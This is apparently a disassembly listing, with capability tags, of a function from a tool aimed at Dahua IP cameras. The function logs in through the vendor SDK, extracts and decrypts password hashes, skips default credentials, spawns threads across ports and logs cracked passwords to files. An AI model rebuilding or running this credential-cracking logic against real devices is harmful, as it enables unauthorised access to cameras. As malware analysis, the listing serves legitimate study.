Function at 0x401a50
Capabilities:
Contain obfuscated stackstrings
Create thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x330
mov eax, dword [0x45a080]
xor eax, ebp
mov dword [ebp - 8], eax
cmp dword [0x45ad64], 5
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov ebx, ecx
push edi
mov dword [ebp - 0x320], edx
mov dword [ebp - 0x318], ebx
mov dword [ebp - 0x31c], eax
jne 0x401abf
xorps xmm0, xmm0
mov dword [ebp - 0x16], 0
lea eax, [ebp - 0x30]
movlpd qword [ebp - 0x26], xmm0
push eax
movlpd qword [ebp - 0x1e], xmm0
mov dword [ebp - 0x30], 0x34303731
mov dword [ebp - 0x2c], 0x39353637
mov word [ebp - 0x28], 0x3634
call esi
add esp, 4
jmp 0x401ac4
call fcn.00401980
push 0
push 0
call dword [sym.imp.dhnetsdk.dll_Ordinal_1]
test eax, eax
jne 0x401ada
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
cmp dword [0x45ad64], 5
jne 0x401b16
xorps xmm0, xmm0
mov dword [ebp - 0x16], 0
lea eax, [ebp - 0x30]
movlpd qword [ebp - 0x26], xmm0
push eax
movlpd qword [ebp - 0x1e], xmm0
mov dword [ebp - 0x30], 0x34303731
mov dword [ebp - 0x2c], 0x39353637
mov word [ebp - 0x28], 0x3634
call esi
add esp, 4
jmp 0x401b1b
call fcn.00401610
mov esi, 1
mov dword [ebp - 0x324], esi
call fcn.00402090
push esi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], 0
push str._n_d:
push eax
mov byte [ebp - 0xc], 0
call fcn.00401130
add esp, 0xc
lea eax, [ebp - 0x10]
push eax
push ebx
call dword [sym.imp.VCRUNTIME140.dll_strstr]
mov esi, eax
add esp, 8
mov dword [ebp - 0x328], esi
test esi, esi
je 0x402016
push 0x32
lea eax, [ebp - 0x44]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
lea ebx, [ebp - 0x10]
add esp, 0xc
lea ecx, [ebx + 1]
nop dword [eax]
mov al, byte [ebx]
inc ebx
test al, al
jne 0x401b80
sub ebx, ecx
mov dl, byte [ebx + esi]
lea eax, [ebx + esi]
cmp dl, 0x3a
je 0x401ba6
lea ecx, [ebp - 0x44]
mov byte [ecx], dl
lea eax, [eax + 1]
mov dl, byte [eax]
lea ecx, [ecx + 1]
cmp dl, 0x3a
jne 0x401b97
mov ecx, str.default
lea eax, [ebp - 0x44]
nop
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401bd0
test dl, dl
je 0x401bcc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401bd0
add eax, 2
add ecx, 2
test dl, dl
jne 0x401bb0
xor eax, eax
jmp 0x401bd5
sbb eax, eax
or eax, 1
test eax, eax
je 0x402010
mov ecx, str.888888
lea eax, [ebp - 0x44]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401c05
test dl, dl
je 0x401c01
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401c05
add eax, 2
add ecx, 2
test dl, dl
jne 0x401be5
xor eax, eax
jmp 0x401c0a
sbb eax, eax
or eax, 1
test eax, eax
je 0x402010
lea esi, [ebp - 0x44]
xor edi, edi
lea ecx, [esi + 1]
nop word [eax + eax]
mov al, byte [esi]
inc esi
test al, al
jne 0x401c20
push 0x32
lea eax, [ebp - 0x78]
sub esi, ecx
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov edx, dword [ebp - 0x328]
lea eax, [esi + ebx]
add esp, 0xc
mov cl, byte [eax + edx + 1]
cmp cl, 0x3a
je 0x401c5f
inc eax
add eax, edx
nop
mov byte [ebp + edi - 0x78], cl
lea eax, [eax + 1]
mov cl, byte [eax]
inc edi
cmp cl, 0x3a
jne 0x401c50
push 0xfa
lea eax, [ebp - 0x214]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
cmp edi, 8
jle 0x401cee
push str._SerialNo:
push dword [ebp - 0x318]
call dword [sym.imp.VCRUNTIME140.dll_strstr]
mov esi, eax
add esp, 8
test esi, esi
je 0x401d0a
push 0x32
lea eax, [ebp - 0xac]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov dl, byte [esi + 0xb]
lea eax, [esi + 0xb]
add esp, 0xc
cmp dl, 0xa
je 0x401cc5
lea ecx, [ebp - 0xac]
mov byte [ecx], dl
lea eax, [eax + 1]
mov dl, byte [eax]
inc ecx
cmp dl, 0xa
jne 0x401cb8
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0xac]
push eax
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x214]
push str._s:_dynamic_2868__s__s__U_s
push eax
call fcn.00401130
add esp, 0x18
jmp 0x401d0a
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x214]
push str._s:_dahua__s
push eax
call fcn.00401130
add esp, 0x10
push 0xfa
lea eax, [ebp - 0x314]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov ebx, dword [ebp - 0x320]
lea eax, [ebp - 0x314]
add esp, 0xc
push dword [ebp - 0x31c]
push ebx
push str.kerne1sdhX3_dh_x32dec_wtf__s__d_h
push eax
call fcn.00401130
lea eax, [ebp - 0x314]
push 0x457cd4
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov esi, eax
add esp, 0x18
test esi, esi
je 0x402010
lea eax, [ebp - 0x214]
push eax
push 0x457cd8
push esi
call fcn.004010a0
add esp, 0xc
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov edx, dword [ebp - 0x31c]
lea eax, [ebp - 0x314]
push ecx
push eax
mov ecx, ebx
call fcn.00402260
mov esi, eax
add esp, 0xc
test esi, esi
je 0x401fb6
push 0x64
lea eax, [ebp - 0x114]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
lea ecx, [ebp - 0x114]
add esp, 0xc
sub ecx, esi
mov al, byte [esi]
lea esi, [esi + 1]
mov byte [ecx + esi - 1], al
test al, al
jne 0x401db6
mov edi, dword [ebp - 0x31c]
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x44]
push eax
push edi
push ebx
push str._Dahua___s:_d_______s__login_detected__password_decrypted___s______________________________________________________n
call fcn.004010c0
add esp, 0x14
cmp dword [0x45a744], 0
jne 0x401f58
push 0xd3
push 0
push 0x45a880
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [0x45a740], 0
xor ebx, ebx
push ebx
push 0xa
push 0xa
push ebx
call dword [sym.imp.KERNEL32.dll_CreateSemaphoreA]
mov dword [0x45a748], eax
test eax, eax
je 0x401ad2
mov esi, 0x4582f0
nop
push 0xc
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov edi, eax
add esp, 4
test edi, edi
je 0x401eb0
push dword [ebp - 0x320]
call dword [sym.imp.WS2_32.dll_inet_addr]
push eax
call dword [sym.imp.WS2_32.dll_ntohl]
mov ecx, dword [esi]
mov dword [edi], eax
lea eax, [ebp - 0x330]
push eax
push 0
push edi
push 0x401470
push 0
push 0
mov dword [edi + 4], ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
test edi, edi
je 0x401eb0
push 0x45a860
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
inc dword [0x45a87c]
inc ebx
push 0x45a860
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push dword [0x45a748]
call edi
jmp 0x401eb6
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add esi, 4
cmp esi, 0x45863c
jl 0x401e30
cmp dword [0x45a87c], 0
je 0x401f32
push 0xffffffffffffffff
push dword [0x45a748]
call edi
push 0x45a860
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea eax, [ebp - 0x32c]
push eax
push 1
push dword [0x45a748]
call dword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
push 0x45a860
mov esi, eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
test esi, esi
je 0x401f27
mov eax, dword [ebp - 0x32c]
inc eax
cmp eax, 0xa
je 0x401f32
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x45a754], ebx
jne 0x401ec5
jmp 0x401f32
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x45a748]
test eax, eax
je 0x401f42
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [ebp - 0x320]
mov edi, dword [ebp - 0x31c]
mov dword [0x45a744], 1
lea eax, [ebp - 0x114]
mov ecx, ebx
push eax
lea edx, [ebp - 0x44]
call fcn.00402aa0
add esp, 4
cmp dword [0x45a858], 0
jne 0x40202e
push 0x457d58
push str.Media_port_not_found__Dahua_.txt
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402010
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0x44]
push eax
push edi
push ebx
push str._s:_d__s:_s__web_browser_n
push esi
call fcn.004010a0
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 0x1c
jmp 0x402010
lea eax, [ebp - 0x44]
push eax
push dword [ebp - 0x31c]
push ebx
push str._Dahua___s:_d_____Failed_to_decrypt_password_for___s________________________________________________________________n
call fcn.004010c0
add esp, 0x10
push 0x457d58
cmp edi, 8
jle 0x401fdf
push str.bad_hash_new__Dahua_.txt
jmp 0x401fe4
push str.bad_hash__Dahua_.txt
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402010
lea eax, [ebp - 0x214]
push eax
push ebx
push str._s__s_n
push esi
call fcn.004010a0
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 0x14
mov ebx, dword [ebp - 0x318]
mov esi, dword [ebp - 0x324]
inc esi
mov dword [ebp - 0x324], esi
cmp esi, 0x20
jl 0x401b26
jmp 0x402071
cmp dword [0x45a85c], 1
jne 0x402071
push 0x457d58
push str.bad_symbol_in_password__Dahua_.txt
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402071
lea eax, [ebp - 0x114]
push eax
push edi
push ebx
push str._s:_d______s_n
push esi
call fcn.004010a0
add esp, 0x14
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 4
call dword [sym.imp.dhnetsdk.dll_Ordinal_2]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0044aca5
mov esp, ebp
pop ebp
ret